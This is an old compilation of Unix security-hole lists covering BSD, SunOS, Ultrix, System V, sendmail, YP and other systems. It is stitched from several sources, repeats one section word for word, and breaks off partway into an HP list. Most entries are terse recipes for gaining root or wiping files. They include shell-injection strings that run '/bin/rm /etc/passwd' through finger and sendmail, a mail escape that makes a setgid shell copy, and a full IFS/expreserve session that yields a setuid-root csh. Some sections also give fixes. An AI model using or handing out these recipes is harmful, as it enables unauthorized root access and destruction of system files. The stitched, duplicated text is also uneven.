
#HoleList
#v1 - Wed Apr  7 13:38:08 MDT 1993

Operating System Description (References)
---------------- ------------------------
BSD 4.1          mail directly to a file ()
BSD 4.1          exec sgid program, dump core, core is sgid ()
BSD 4.1          lock -- compiled in password "hasta la vista" ()
BSD <4.2         IFS w/ preserve bug w/vi ()
BSD <4.2         suspend mkdir, ln file you want to dir ()
BSD 4.2          lock -- compiled in password "hasta la vista" ()
BSD 4.2          ln passwd file to mail spool, mail to user file ()
BSD 4.2          can truncate read only files ()
BSD 4.2          finger "string|/bin/rm -f /etc/passwd"@foo.bar ()
BSD 4.2          ln -s target ~/.plan; finger user to read file ()
BSD 4.2          lpr file; rm file; ln -s /any/filename file ()
BSD 4.2          adb su; change check in memory; shell out ()
BSD 4.2          race condition, can get root via "at" ()
BSD 4.3          ftp -n; quote user ftp; cd ~root, get root priv ()
BSD 4.3          lpd can overwrite file ()
BSD 4.3          ln -s /any/suid/file -i ; -i        Get suid shell ()
BSD 4.3          fchown (2) can chown _any_ file ()
BSD 4.3          race condition (expreserve?), root via "at" ()
BSD 4.3          passwd chokes on long lines, splits pw file ()
4.3 Tahoe        chfn -- allows newlines, meta chars, bufsize ()
4.3 Tahoe        login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
?                Overwrite gets buffer -- fingerd, etc ()
?                uudecode alias can overwrite root/daemon files ()
?                /bin/mail ; !/bin/sh    Get uid=bin shell ()
?                rwall bug ()
?                adb the running kernel, shell out and get root ()
?                mail to any non-root owned file, try twice ()
?                rshd: spoof via nameservice-- rsh target -l uid ()
SunOS 386i/4.01? login -n root (no password) ()
SunOS 3.5        connect w/acct;user root;ls;put /tmp/f/ tmp/b ()
SunOS 4.0/4.01   chsh (similar to chfn) ()
SunOS 4.0x?      anyone can restore a file over any other file ()
SunOS 4.0x?      chfn -- allows newlines/meta chars bufsize ()
SunOS 4.0x?      rcp with uid -2; only from PC/NFS ()
SunOS 4.0x?      ln -s /any/suid/file -i ; -i        Get suid shell ()
SunOS 4.0x?      Selection service can remotely grab files ()
SunOS 4.0.3      mail to any non-root owned file, try twice ()
SunOS 4.0.3      login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
SunOS 4.1        Shared libs accept relative paths w/ suid ()
SunOS 4.1        rshd: spoof via nameservice, rsh target -l uid ()
SunOS ?          adb the running kernel, shell out and get root ()
SunOS ?          ftp -n; quote user ftp; ect Gets root privs ()
SunOS ?          symlink .plan to target file, finger user()
SunOS ?          Overwrite gets buffer -- fingerd, etc (3.5) ()
SunOS ?          rwall bug (<= 4.01 yes) ()
SunOS ?          lpd can overwrite file ()
SunOS ?          the window manager can be used to read any file ()
SunOS ?          rexd -- any can get root access if enabled ()
SunOS 4.0.3      rcp buffer overflow ()
AIX ?            rexd -- any can get root access if enabled ()
SunOS 4.1.x      comsat can overwrite any file ()
SunOS 4.1.x      ptrace allows to become root ()
SunOS 4.1.x      openlook: telnet 2000; executive,x3, run ps int ()
Ultrix 2.2       ln passwd file to mail spool, mail to user ()
Ultrix 2.2       can get root on NFS host via root via mountd ()
DYNIX 3.?        can get root on NFS host via root via mountd ()
Ultrix 3.0       lock -- compiled in password "hasta la vista" ()
Ultrix 3.0       any user can mount any filesystem ()
Ultrix 3.0       login can run any program with root privs ()
Ultrix 3.0       X11 doesn't clear passwords in mem; /dev/mem ()
Ultrix 3.0       ln -s target ~/.plan; finger user to access ()
Ultrix 3.1?      rshd: spoof via nameservice, rsh target -l uid ()
Ultrix 3.1-      limit file 0; passwd -->zero's out passwd file ()
Ultrix 3.1-      lpd can overwrite any file (back to 2.0?) ()
Ultrix 4.1-      overflow Risc register buffer, get root w/ mail ()
Ultrix ?         chfn -- allows newlines, meta chars, bufsize ()
Ultrix ?         ftp -n; quote user ftp; ect Gets root privs ()
Ultrix ?         can change host name, mount any filesystem ()
Ultrix ?         uudecode alias can overwrite root/daemon files ()
SYSV ?           IFS, other environment at "login:" prompt ()
SYSV 4           write to files; race condition using mkdir & ln ()
SYSV 4-          expreserve problem/race condition ()
IRIX             rsh <host> -l "" <command>   runs as root ()
Stellix 2.0      rsh <host> -l "" <command>   runs as root ()
IRIX ?           login: -r hostname
ruser^@luser^@term^@ ()
DYNIX ?          login: -r hostname
ruser^@luser^@term^@ ()
IRIX ?           login: -r hostname
ruser^@luser^@term^@ ()
HPUX 7.0         chfn -- allows newlines, etc ()
HPUX 7.0-        chfn -- allows newlines, etc (new bug) ()
Domain/OS <10.3  break root by using s/rbak; setgid/uid ()
Amdahl UTS 2.0   NFS mountd only uses hostname as authentication ()
SCO ?            rlogin to any acct from trusted host w/o passwd ()
BellTech SYSV/386 ulimit 0; passwd  ==> zero's out passwd file ()
Microport 3.0    ulimit 0; passwd  ==> zero's out passwd file ()
SunOS < 4.0      any user can run yp server ()
SunOS 4.01       ypbind/ypserv, SunOS 4.01; need 3 machines ()
SunOS 4.03       ypbind/ypserv, SunOS 4.01; need 3 machines ()
SunOS 4.03       concurrent yppasswd sessions can trash yp map ()
SunOS 4.0.3      ypserv sends maps to anyone who has domainame (ypsnarf)
Ultrix 3.1 ?     allows newlines, meta chars, buffsize problem ()
Ultrix ?         yppasswd leaves yp data files world writable ()
Ultrix           ypbind takes ypset from all; anyone can play yp DB server ()
BSD 4.1          Sendmail: can mail directly to a file ()
SunOS  4.03      Sendmail: can mail directly to a file ()
Sendmail <=5.61  can mail to any file not root owned, have to try twice ()
5.61             Sendmail: groups incorrectly checked, can get any group ()
SunOs 4.1        Sendmail: groups incorrectly checked, can get any group ()
Ultrix 2.2       Sendmail: -C file  ==> displays any file ()
DYNIX 3.0.14     Sendmail: -C file  ==> displays any file ()
Ultrix 2.0?      Sendmail: versions 1.2&13.1 sm, -oQ  > can read/write any ()
HP_UX            Sendmail: versions 1.2&13.1 sm, -oQ  > can read/write any ()
Sendmnail < 5.57 from:<"|/bin/rm /etc/passwd">  && bounce mail... ()
IRIX 3.3/3.31    Sendmail:  any user can read any other user's mail ()
?                wiz; shell   get root shell ()
X11R ?           snoop on keyboards and bitmaps ()
X11R3-4          can set log on, execute commands (fixed in "fix-6") ()
Sun 4.03         uucico can show ph num, login, passwd, on remote machine ()
SunOS            icmp  errors not handled correctly; log off users remotely ()
Ultrix           icmp  errors not handled correctly; log off users remotely ()
SunOS            emacsclient/server allows access to files ()
Ultrix           emacsclient/server allows access to files ()
=========
 GENERAL
=========

1. Do not allow usernames to contain any of the following characters ";~!`"
   (or any shell meta-charaters).  This allows setuid root programs that
   popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
   creates to either the Berkeley mailer or mailx.  All a user has to do
   to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

   That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
   escape to be executed if the line starts in column one of stdout while
   entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
   and file permissions or race conditions in the kernel that allow setuid
   programs to be exploited.  All non-standard setuid programs should be
   examined.

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can
   break security relatively easily.  MIT's PROJECT ATHENA came up with
   Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid
   program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
   hole.  Setuid programs are normally honored.  This allows a person who
   has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

        /dev/fb
            the frame buffer devices on at least suns are world
            readable/writeable, which is at best annoying (when
            someone runs something strange on you) and at worst
            insecure (since someone can take a snapshot of your screen
            via screenload or whatnot)

        /dev/*st*, *mt*, etc (tape devices)
            generally world readable/writeable, bad since others can
            nuke your tapes, read your backups, etc.

        chfn, chsh
            used to create a root account
        
        core
            will system dump a setgid core image? 

        domain name system      
            a sysadmin running the soa for a domain somewhere can
            create a bugs reverse address mapping table for one of his
            hosts that causes its IP address to have the domain name
            of a machine that my host has in its hosts.equiv file.  if
            i'm using the usual version of 'istrusted' (I think that's
            the routine's name), the address lookup reveals the name
            of the host to be one that my host trusts, and this other
            sysadmin can rlogin into my machine or rsh or whatnot at
            will. 

        fchown
            test for bad group test 
        
        ftruncate
            can be used to change major/minor numbers on devices 

        fingerd
            hard .plan links - reading unreadable files readable by
            user(fingerd)

            setuid, .plan links
            
            running as root
                (fingerd_test.sh)

            buffer overrun 

        file mod test.
            test of file does not loose the setuid bit when modified
            

        ftp
        ftpd
            static passwd struct overwrite 
        
            4.2 based bug, userid not reset properly, (after logging
                in enter comment "user root" and you are, last seen
                onder SunOS 3.3?). 
        
            overwrite stack somehow?
        
        hosts.equiv     
            default + entry
        
            istrusted routine - easy to spoof by bad SOA at remote
            site with hacked reverse address map.
        
        lock
            4.1bsd version had the password "hasta la vista" as a
            builtin trapdoor. (found in ultrix)

        lost+found, fsck 
            lost+found should be mode 700, else others might see
            private files.
        
        lpd
            its possible to ovberwrite files with root authority with
            user level access locally or remotely if you have local
            root access 

        lpr
            lpr -r access testing problem

        lprm
            trusts utmp

        passwd
            fgets use allows long entries which will be mangled into
            ::0:0::: entries

            also allows:
                        fred:...:...:...:Fred ....Flintstone::/bin/sh =>
                        fred:...:...:...:Fred.....
                        Flintstone::/bin/sh
                    which is a root entry with no password!

            fix - should skip to eol if it didn't read whole entry,
            should enforce buffer limits on text in file, don't use
            atoi (since atoi(/bin/sh) is 0). 
        
        portmap
            allows other net entities to make bindings - may not be a
            "security hole", can lead to denial of service. 
        
        rcp
            nobody problem 

        rexd
            existence 
        
        rwall,comsat
            running as root, utmp world writeable, writes to files as
            well as devices in utmp dev fields. 


        rdist - buffer overflow 
        
        selection_svc 
            allowed remote access to files 

        sendmail
            debug option 

            wizard mode 

            TURN command 
                allows mail to be stolen

            decode mail alias - anyone can send mail to decode, write
            to any file onwed by daemon, if they can connect to
            sendmail daemon, can write to any file owned by any user.
            

            overflow input buffer 
                cause the sendmail deamon to lock up

            overwrite files 
                sendmail can be "tricked" into delivering mail
                into any file but those own my root.

            -oQ (different Q)
            fixed in newer versions
        
            mqueue must not be mode 777!
        
            what uid does |program run with?
        
            sendmail -bt -C/usr/spool/mail/user - in old versions,
            allows you to see all lines of the file.

        setuid bit handling
            setuid/setgid bit should be dropped if a file is modified

            fix: kernel changes

        setuid scripts
            there are several problems with setuid scripts.  is it
            worth writing tests for these?  some systems might have
            fixed some of the holes - does anyone know how one fixes
            these problems in a proactive fashion?

        sh
            IFS hole (used with vi, anything else?) 
        
        su
            overwrite stack somehow?
        
        tcp/ip          
            sequence number prediction makes host spoofing easier

            source routing make host spoofing easier

            rip allows one to capture traffic more easily

            various icmp attacks possible

            (I suspect a traceroute'd kernel will allow one to easily
            dump packets onto the ethernet)     

        tftp
            allows one to grab random files (eg, /etc/passwd).
            fix - should do a chroot
        
            allows puts as well as gets, no chroot
        
            fix - don't run as root, use chroot, no puts, only if boot
            server.

        utmp
            check to see if world writeable (if so, the data can't be
            trusted, although some programs are written as though they
            trust the data (comsat, rwalld)). 

        uucp
            check if valid uucp accounts are in the /etc/ftpusers.  If
            the shell is uucico and passwd is valid make sure it is
            listed in ftpusers. 

            check to see that uucp accounts have shell: if left off,
            folks can do:

                cat >x
                myhost myname
                ^D
                uucp x ~uucp/.rhosts
                rsh myhost -l uucp sh -i

            HDB nostrangers shell escape 

            HDB changing the owner of set uid/gid files 

            HDB meta escapes on the X command line 

            HDB ; breaks on the X line 

        uudecode
            if it is setuid, some versions will create setuid files
            

        ypbind
            accepts ypset from anyone (can create own ypserv and data,
            and ypset to it...) 
        
        ypserv spoofing
            send lots of bogus replies to a request for root's passwd
            entry, while doing something that would generate such a
            request [I'm pretty sure that this is possible, but
            haven't tried it.]
        
        AIX
            * password means use root's password?
        
        AIX 2.2.1 
            shadow password file (/etc/security/passwd) world
            writeable 

            fix - chmod 600...
        
        386i login
            fix - nuke logintool, hack on login with adb, chmod 2750
        
        ultrix 3.0 login
            login -P progname allows one to run random programs as root.  
            fix - chmod 2750.

        xhost: 
            if access access control is disabled any one can connect to
            a X display it is possible and create (forge) and/or
            intercept keystrokes.  

=========
 GENERAL
=========

1. Do not allow usernames to contain any of the following characters ";~!`"
   (or any shell meta-charaters).  This allows setuid root programs that
   popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
   creates to either the Berkeley mailer or mailx.  All a user has to do
   to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

   That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
   escape to be executed if the line starts in column one of stdout while
   entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
   and file permissions or race conditions in the kernel that allow setuid
   programs to be exploited.  All non-standard setuid programs should be
   examined.

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can
   break security relatively easily.  MIT's PROJECT ATHENA came up with
   Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid
   program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
   hole.  Setuid programs are normally honored.  This allows a person who
   has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

==================================
 BSD 4.2 and earlier BSD releases
==================================
The following is a security hole that exists in the BSD 4.2 flavors of
UNIX.  This bug is associated with /usr/lib/expreserve being setuid to root and
the shells IFS (internal field seperator) variable. Expreserve executes a line
such as:

if ((fp = popen("/bin/mail USER", "w")) != NULL) {

...

The implementation of popen(3C) has an exec(2) call of the form:

execl("/bin/sh", "sh", "-c", POPEN_ARG_1, (char *) 0);

what this does is the /bin/sh telling to to run command such as

sh -c "/bin/mail USER"

where SHELL is running with an effective user id of root.  The change of IFS
caused shell to parse the command as "bin mail USER" and executes the shell
script "bin" in the current directory which copies a version of the C shell
and makes it setuid to root.  The SIGHUP to ex(1) causes expreserve to be
invoked to preserve the user's editing session and send the user mail telling
him that a copy of his buffer was saved, etc, etc.  The fix was accomplished
by not having the sh do $IFS processing to the argument following a "-c"
option.

% mkdir $$; cd $$
% touch bin ; chmod a+rx bin
%set path=(. $path)
% cat > bin << END-O-FILE
#!/bin/csh -f
setenv IFS' ^I'
/bin/cp /bin/csh .
/bin/chmod u+s csh
END-O-FILE
% setenv IFS /
% ex bin
"bin" LLL lines CCC characters
:s/c/cc/
#!/bin/ccsh -f
:stop
[1] + Stoppedex bin
% kill -HUP %ex
% wait
%ls -l csh
-rwsr-xr-x  1 root78848 Jan  7  1986 csh*
% ./csh

#This works only on 4.2BSD, was fixed in 4.3BSD.



=================================
 SYS V and earlier AT&T releases
=================================

The following will work work on SVR2 (USG) and earlier AT&T release,
as long as you can create a file on the same file system as /etc/passwd.
There is a race condition in /bin/mkdir [mkdir(1)] which first
mknod(2)s the directory then chown(2)s the directory to the real
uid of the process:

 if (mknod(dir, S_IFDIR | 0777) == 0)
           chown(dir, getuid(), getgid());

if there is a context switch after the mknod(2) call and the
parent process unlink(2)s the node and creates the link before
the mkdir process runs again then the /bin/mkdir chown(2)s the
link to be owned by you.

On many systems /tmp is on the same file system as /.  Otherwise other
files need to be located that can be compromised.  This is caused
by the lack of a mkdir system call.  If /bin/mkdir is setuid to root
then this should work.  Assuming /tmp is on the same file system as
/etc then one could that would be invoked like the following:

breakdir /etc/passwd /tmp/foo

and would change your uid to root.

=================
 SVR.0 to SVR3.2
=================

Several at(1)s have an extremely nasty bug.  Cron(1) which run atjobs runs
setuid to root.  Normally the atjobs are stored in /usr/spool/cron/atjobs.
There it creates a file owned by the atjob submitter.  On many systems
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
chdir(2) to that directory.  Many System V crons determine what uid to run
the atjob by the file's owner.  Breaking security can be as simple as cding
to cron and change the owner of an atjob you submitted to root.
Alternatively, an atjob that submits another atjob on some systems
will run as root (I don't know why).

===============================================
BSD 4.3 AND EARLIER    SYSV   SUNOS (SOMETIMES)
===============================================

Well folks:

    I have found a rather barbaric race condition in expreserve that allows
the setuid program to be compromised by changing the permissions of a file.
This bug exists in all expreserves up to and including Berkeley 4.3. (well
not quite).  On all System V and earlier releases this works.  Under System V
expreserve places the Ex temp file in the directory:

/usr/preserve/$USER

and under the Berkeley releases it places them under either:

/usr/preserve

or
/var/preserve (SUN0S 4.X)

This "feature" will definitely allow security to be breached on all standard
System Vs (non-secured) and all Berkeley-ish systems that have /usr/preserve
writeable by the user (Note: SUNOS has this directory UNWRITEABLE).  The
System V bug was relatively unavoidable (until SVR4) but the Berkeley bug
should have been fixed as soon as the fchown(2) system call was added to BSD.
Basically the "hole" is that expreserve does:

fd = creat("/usr/preserve/Exaaa$PID, 0600);
chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);

when it should do a:

fd = creat("/usr/preserve/Exaaa$PID, 0600);
fchown(fd, real_uid, real_gid);

which avoids the race (it changes the permission on the inode that was
creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID).  The
previous examples are actually simplified as expreserve actually looks at the
uid and gid as stored in the /tmp/Ex$PID file and compares them to the
getuid() and getgid() return values.

The actual "race" is that a context switch may occur between the creat(2)
and chown(2) in expreserve that allows another process with write permission
to the target directory to unlink(2) the creat(2)ed file and place a hard
link to another file by that name in the target directory, which expreserve
subsequentlies chown(2)s to your uid.  This "feature" allows any file on the
same device to be owned by you.  From my reading on symbolic links, this should
also work with symlinks BUT DOES NOT atleast under SUNOS 4.X and HPUX.
According to my 4.3BSD Programmer's Reference Manual chown(2) SHOULD change
the permissions on the file pointed to by the symlink as one of its failure
conditions is:

[ELOOP] Too many symbolic links were encountered in
translating the pathname.

This implies to me that a chown(2) on a symbolic link should chown(2) the file
pointed at by the link, but under SUNOS4.X and HPUX (A.B2.10) it changes the
permission on the symbolic link (funny, I thought symlinks were always mode
lrwxrwxrwx).   Both man pages for SUNOS and HPUX also include the ELOOP
failure condition for chown(2).  This bug is usable to place trojan horse
in ``trusted'' directories [(e.g.) /usr/bin].  The trojan horse I would
place there is a program that fork(2)s and exec(2)s a program giving me a
setuid to root shell if the euid is equal to root and then execs the real
program and then restores everything to what it was.

The procedure for utilizing this bug is to create a VALID non-zero length
/tmp/Ex$PID file and copy  it the the directory were the cracking program is
located under the name "data".  To do this edit a junk file, make some
changes and escape to a shell and check the /tmp directory for a non-zero
length Ex$PID file owned by you, copy it to the cracking directory and run
the program that follows.  Note:  This program needs to be modified to run
under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been
tested under SUNOS 4.X and HPUX.  I haven't had time to modify it yet, but it
will definitely work under System V.
There are four ways to gain unauthorized (root) privileges:
 
- Knowing a (root) password. This should be easy to prevent.
- Using setuid programs. Even in case of configuration errors, like mode
  666 on the passwd file, unauthorized privileges are granted by
  (system) suid programs like login, passwd, etc.
- Bad system calls. This was an issue in older versions. For instance,
  setgid(-1) did strange things on some old UNIX versions. This
  doesn't really happen anymore.
- Fooling daemons running as root. This is the largest problem. Editing the
  crontab, playing with sendmail falls under this category, but also
  the network can be misused. For instance, you can write a program
  that talks to ypserv, or nfsd, or anything. Also, daemons use
  configuration files, which shouldn't be readable.
 
Most security violations occur due to bad file protections, exploited
with normal commands, not C source code. Another problem is old or bugged
programs, in particular (2) setuid programs and (4) daemons.
Most hackers don't use source code, but I think if a hacker uses source
to exploit a problem, it'll be impossible to find a search pattern that
can deterministically state if a program is good or bad.
 <wabbit> it was a bug for _years_ in the ftp server.
<wabbit> bsd4.2 had it.
<wabbit> and 4.3


Bug reference sheet
Comfirmations, additions, changes to: df@cert.sei.cmu.edu
Last change made: Dec 12, 1990


4.X BSD
Version      problem
---------------------
4.1          can mail directly to a file
             run set gid program, dump core, is set gid of owner
             lock -- compiled in password "hasta la vista", plus can ^Z

Pre 4.2?     IFS w. preserve bug in vi
             suspend mkdir, ln file you want to dir, you own file

4.2          lock -- compiled in password "hasta la vista"
             ln passwd file to mail spool, mail to user ==> file
             can truncate read only files
             finger "string | /bin/rm -f /etc/passwd"@foo.bar
             ln -s target ~/.plan; finger user to read any file.
             lpr file; rm file; ln -s /any/filename file ==> prints file
             adb su; change check in memory; shell out; su ==> root.
             race condition, can get root via "at"

4.3          ftp -n; quote user ftp; ect.  Gets root privs.
             lpd can overwrite file
             ln -s /any/suid/file -i ; -i       Get suid shell.
             fchown (2) can chown _any_ file
             race condition (expreserve?), can get root via "at"
             passwd chokes on long lines, splits pw file ==> root access

4.3 Tahoe    chfn -- allows newlines, meta chars, bufsize problem
             login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

?            Overwrite gets buffer -- fingerd, etc
             uudecode alias can overwrite root/daemon owned files
             /bin/mail ; !/bin/sh    Get uid=bin shell
             rwall bug.
             adb the running kernel, shell out and get root
             sendmail can mail to any non-root owned file, have to try twice
             rshd -- spoof via nameservice, rsh target -l uid

SunOS
Version      problem
---------------------
386i/4.01?   login -n root    requires no password

3.5          ftp -- connect w. acct; user root; ls; put /tmp/foo /tmp/bar;
                    result is owned by root

4.0 && 4.01  chsh -- similar to chfn

4.0x?        anyone can restore a file over any other file.
             chfn -- allows newlines, meta chars, bufsize problem.
             rcp with uid -2; only from PC/NFS.
             ln -s /any/suid/file -i ; -i       Get suid shell.
             Selection service can remotely grab files.

4.03         sendmail can mail to any non-root owned file, have to try twice
             login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

4.1          Shared libs accept relative paths when running suid (e.g. xterm.)
             rshd -- spoof via nameservice, rsh target -l uid

?            adb the running kernel, shell out and get root
             ftp -n; quote user ftp; ect.  Gets root privs.
             symlink .plan to target file, finger user to read.
             Overwrite gets buffer -- fingerd, etc.  (3.5)
             rwall bug (<= 4.01 yes).
             lpd can overwrite file
             the window manager can be used to read any file
             rexd -- any can get root access if enabled

4.03-        rcp buffer overflow

4.1-         comsat can overwrite any file
             ptrace allows to become root
             under openlook; telnet port 2000; executive,x3, run the ps interp.

Ultrix
Version      problem
---------------------
2.2          ln passwd file to mail spool, mail to user ==> file
             can get root on host running (some) NFS from a root account
                on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)

3.0          lock -- compiled in password "hasta la vista"
             any user can mount any filesystem
             login can run any program with root privs
             X11 doesn't clear passwords in memory; /dev/mem is world readable.
             ln -s target ~/.plan; finger user to read any file.

3.1-         limit file 0; passwd  ==> zero's out passwd file
             lpd can overwrite any file (back to 2.0?)

4.1-         overflow Risc register buffer, get root through mail.

?            chfn -- allows newlines, meta chars, bufsize problem
             ftp -n; quote user ftp; ect.  Gets root privs.
             can change host name, mount any filesystem
             uudecode alias can overwrite root/daemon owned files
             3.1? rshd -- spoof via nameservice, rsh target -l uid

System V
Version      problem
---------------------
?            can set IFS, other environment at "login:" prompt
SVR4-        expreserve problem/race condition.
pre SVR4     write to files; race condition using mkdir & ln

SGI (Iris?), MIPS, Steller
---------------------------
Stellix 2.0  rsh <host> -l "" <command>   runs as root
RISC/os 4.51, DYNIX
Stellix 2.1  login: -r hostname
ruser^@luser^@term^@

HP-UX
Version      problem
--------------------
7.0-         chfn -- allows newlines, etc.  Different bug with 7.0.

Apollo
Version      problem
--------------------
10.x(max10.3)break root by using s/rbak; problem is in setgid/uid

Amdahl UTS
Version      problem
--------------------
2.0          NFS mountd only uses hostname as authentication; easy to spoof.

SCO
Version      problem
---------------------
?            can rlogin to any acct (root, etc.) to trusted host w/o password

Bell tech sys V/386
--------------------
Microport 3.0  ulimit 0; passwd  ==> zero's out passwd file

YP
---------------------
Pre 4.0      any user can run yp server

4.01/4.03    ypbind/ypserv, SunOS 4.01; need 3 machines

4.03         concurrent yppasswd sessions can trash yp passwd map
             ypserv will send maps to anyone who can guess the domainame

Ultrix3.1/?  allows newlines, meta chars, buffsize problem

?            yppasswd leaves yp data files world writable
             ypbind takes ypset from all; anyone can say they are yp DB server.

Sendmail
---------------------
4.1 BSD      can mail directly to a file

Sun 4.03,
<=5.61       can mail to any file not root owned, have to try twice

5.61, 4.1Sun,
lots others? groups incorrectly checked, can get any group

Ultrix 2.2,
DYNIX 3.0.14 -C file  ==> displays any file.

Ultrix 2.0?
HP_UX        versions 1.2&13.1 sm, -oQ  ==> can read/write any file

< 5.57       from:<"|/bin/rm /etc/passwd">  && bounce mail....

IRIX 3.3/3.31 any user can read any other user's mail.

?            wiz; shell   get root shell

X
---------------------
X11R?        snoop on keyboards and bitmaps.
X11R3-4      can set log on, execute commands (fixed in "fix-6")

UUCP
---------------------
Sun 4.03     uucico can show ph num, login, passwd, on remote machine.

TCP/IP
---------------------
icmperror    errors not handled correctly; log off users remotely.

Misc
---------------------
Gnuemacs     emacsclient/server allows access to files.

  I still need to type 2 more of these in, for now see what you can add to
them. 
================
ULTRIX.LST
Mike Burrows - burrows@src.dec.com 8/88

Berkeley  (4.2, maybe also 4.3 + sun + ultrix)
========
        You can get a root shell from a standard sendmail by typing
        a wizard password (wiz?) and "shell" (fixed after 4.2?)

        Chfn, chsh rename their tmp(=lock) files to /etc/passwd before
        fflushing() so there is a window when the passwd file is null
        and unlocked. Running one right after another zaps the passwd
        file if it hits the timing hole.

        chfn allows you to put massive field in in passwd file
        which breaks getpwent()

        passwd(1) leaves the passwd file locked if the user sets
        a file size limit before running the programme.

        passwd(1), chfn, chsh etc don't detect corrupt pw entries
        they add new ones - particularly ones with a null name, passwd
        and zero uid -> su "" works without password.

        lpr will print any file if you use the -s flag (can't copy)
        and then rename file. (fixed in 4.3)

        lpr will remove any file in / with the -r option (luckily
        won't remove unix image because it refuses to print an a.out)

        ptrace modifies shared text.  You can modify the text of any
        readable binary in-core.  This allows immediate breakin with
        suid progs by writing short C prog.  Even just using adb,
        you can set break points to stop any one using a given programme.

        vi runs expreserve when HUPed.  expreserve is suid and it runs
        sh -c "bin/mail..."  or similar.  Fun with IFS=.  I have
        seen this on lots of systems.

        4.2+ultrix systems (suns too?) have /dev/kmem and /dev/mem readable!!!
                == open system  They even provide an unprivileged utility
                to core dump other processes.  (you just recompile it with
                a security check removed, or patch the binary)

        ioctl  (TIOCSTI) - simulate terminal input on controlling tty  -
        fine, but you can set your controlling tty to be anything after
        using ioctl  (TIOCNOTTY)  (fixed in 4.3)

        You can send SIGINT, SIGHUP, SIGQUIT and SIGTSTP to any process on the
        system by changing your tty process group to the group of the target
        process and hitting intr, logging out, hitting quit or hitting susp.
        (fixed in 4.3??)

        On the sun (and other system with window displays?) /etc/utmp is
        publicly writable, so the window system can put the pty in it.
        This makes it easy to fake your userid on anything that believes
        getlogin(3)

        suid shell scripts will run the .profile file if you make a link to
        them with name -    suid shell scripts should NEVER be allowed for
        other reasons anyway e.g. IFS=.   Similarly with csh.

        In ultrix, the physical ethernet address of a machine can be
        changed by any user.  -> denial of service.

        Berkeley network security is based on "reserved ports" - therefore,
        this is trivial to break if you have your own workstation

        vhangup system call is meant to disconnect all processes from current
        controle terminal.  However, they can reopen the terminal as /dev/tty
        even if the tty permissions have changed since their controle tty is
        not zeroed.

        most suid programmes don't expect resource usage signals,
        timeout signals.

Other systems, generic and general bugs
=======================================

        Some versions of uusend call "uux" on the PATH while suid to root.

        Some news receivers execute shell commands sent down the news feed.

        In NFS, exec permission is equivalent to read.  In general, NFS
        protection is lousy.   Over an ethernet, it is non-existent.
        (it took 10 minutes work for one of our undergraduates to understand,
        construct, and send a packet to delete a file using NFS)

        Information/guest logins release userids

        Users can write a trojan horse ls/su programme
        Fixes:
                1) change default PATH to /bin:/usr/bin:.
                2) fix shell so it won't exec from a relative path
                   unless directory is not writable by other users
                3) important progs like "su" could require argv[0]
                   to be /bin/su

        Bogus getty/login.  Fixes:
                1) all lines should come in over a network interface to
                   a port that cannot be accessed by anyone but root.
                2) terminal driver should have a hardwired escape (e.g. line
                   break) that always zaps all processes with the terminal
                   open.  (see vhangup above)
        Idle logout helps things a little

        insecure reboot  (fix is to use a 3b2? - pity the 3b2 is unusable)
        have single user mode spawn /bin/login?

        Many daemon and/or support programmes are insecure when invoked
        directly by the user.  Often mail can be forged this way.
        Fix is to stop normal users exec'ing such progs.

        Some root suid programmes dont have to be suid to root but are.

        Many mail systems keep user mail files readable by other users.
        They also keep temp files readable by others.

        Passwords should be significant to longer than eight characters,
        or passwd should warn about characters being lost.

        system(3) and popen(3) should NEVER be called by suid programmes
        or programmes that are ever called by suid programmes.
        Even versions of system(3) that say setuid(getuid()) have lots of
        holes (the programme doesn't give its uid to a random programme, but
        it is acting on information given to it by a random programme)

        Some versions of rmdir are broken on systems without a rmdir syscall.
        Allows you to remove ..
        (was on the net with bugfix)
        (similar problems with rm -r?? mv?? mvdir script?)

        crypt(1) is too weak to be trusted by anyone.  An average CS student
        can break it.  The manual should say so.  A better encryption scheme
        should be provided (Wheeler encryption is faster in software but more
        secure)

        Most systems have tty's generally writable.  Write should be suid
        and should not allow arbitrary controle characters.  It should
        also be possible for a user to force a write to him to die (cf
        hanging up the phone)
        Even console should not be generally writable - all logging should
        not block.  Otherwise, e.g. a user can make the console run out
        of paper, or can send it interesting controle codes.

        getlogin(3) ttyslot(3) ttyname(3) don't find/use controlling terminal.
        They use stdin instead.  They are sometimes used for security checks
        => useless security check.

        Lots of "denial of service" bugs due to lax resource allocation.
        It's easy to hog the processor, memory, disc, tty bandwidth

        Advisory locks have no seperate permissions bits.  Easy to lock out
        any daemon that uses them.  All files used for locking should not
        have read or write permission for "others"

        Most suid programmes don't expect to get filesize limit signals,
        SIGALRMs.

================

                      KNOWN SECURITY HOLES ON UNIX SYSTEMS

                                HP CONFIDENTIAL!

                              LAST UPDATED 850312


        List  collected  by  Alan  Silverstein.  All  security  problems
        listed are correctable on site unless noted with "S" (sensitive)
        in the left margin.  (In "sanitized"  versions of this list, all
        such lines are removed.) If this list is incomplete, please send
